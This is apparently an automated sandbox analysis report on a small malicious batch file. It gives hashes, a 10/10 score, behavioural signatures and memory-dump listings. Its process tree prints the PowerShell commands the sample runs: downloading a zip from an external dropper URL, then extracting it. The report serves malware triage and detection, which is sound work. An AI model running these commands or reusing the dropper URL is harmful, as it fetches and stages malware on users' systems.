3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
121s
max time network
125s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 23:24

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General

Target

tesy - Copy (5).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	1144	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1144	powershell.exe
2024	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1144	powershell.exe
Token: SeDebugPrivilege	2024	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2944 wrote to memory of 1144	2944	cmd.exe	29
PID 2944 wrote to memory of 1144	2944	cmd.exe	29
PID 2944 wrote to memory of 1144	2944	cmd.exe	29
PID 2944 wrote to memory of 2024	2944	cmd.exe	30
PID 2944 wrote to memory of 2024	2944	cmd.exe	30
PID 2944 wrote to memory of 2024	2944	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2024

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f9427873f31652f75dcde8e6bf787491

SHA1
64b9a1252e91a1cb30421cb1cc2d91b333996eb2

SHA256
b1e17513314455d6c9a0f9a22529738414d81cfac8cf432ee93ed908a887d4e4

SHA512
98de0cdf381e08e5b22809431f2d5e67777185cc67f49cef93d8858ba197730d0f4b8cb690523a0b3e52b8c87595f6c3118d409a97749f9c3e95526f9ce91890

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XFTS5AO07PD0L896PU8G.temp

Filesize
7KB

MD5
f9427873f31652f75dcde8e6bf787491

SHA1
64b9a1252e91a1cb30421cb1cc2d91b333996eb2

SHA256
b1e17513314455d6c9a0f9a22529738414d81cfac8cf432ee93ed908a887d4e4

SHA512
98de0cdf381e08e5b22809431f2d5e67777185cc67f49cef93d8858ba197730d0f4b8cb690523a0b3e52b8c87595f6c3118d409a97749f9c3e95526f9ce91890

Download Submit
memory/1144-9-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/1144-7-0x000007FEF5C80000-0x000007FEF661D000-memory.dmp

Filesize
9.6MB

Download
memory/1144-8-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/1144-4-0x000000001B460000-0x000000001B742000-memory.dmp

Filesize
2.9MB

Download
memory/1144-10-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/1144-11-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/1144-13-0x000007FEF5C80000-0x000007FEF661D000-memory.dmp

Filesize
9.6MB

Download
memory/1144-6-0x0000000002040000-0x0000000002048000-memory.dmp

Filesize
32KB

Download
memory/1144-5-0x000007FEF5C80000-0x000007FEF661D000-memory.dmp

Filesize
9.6MB

Download
memory/2024-19-0x000000001B2A0000-0x000000001B582000-memory.dmp

Filesize
2.9MB

Download
memory/2024-21-0x0000000002320000-0x0000000002328000-memory.dmp

Filesize
32KB

Download
memory/2024-20-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download
memory/2024-22-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download
memory/2024-23-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2024-24-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2024-25-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2024-26-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/2024-27-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download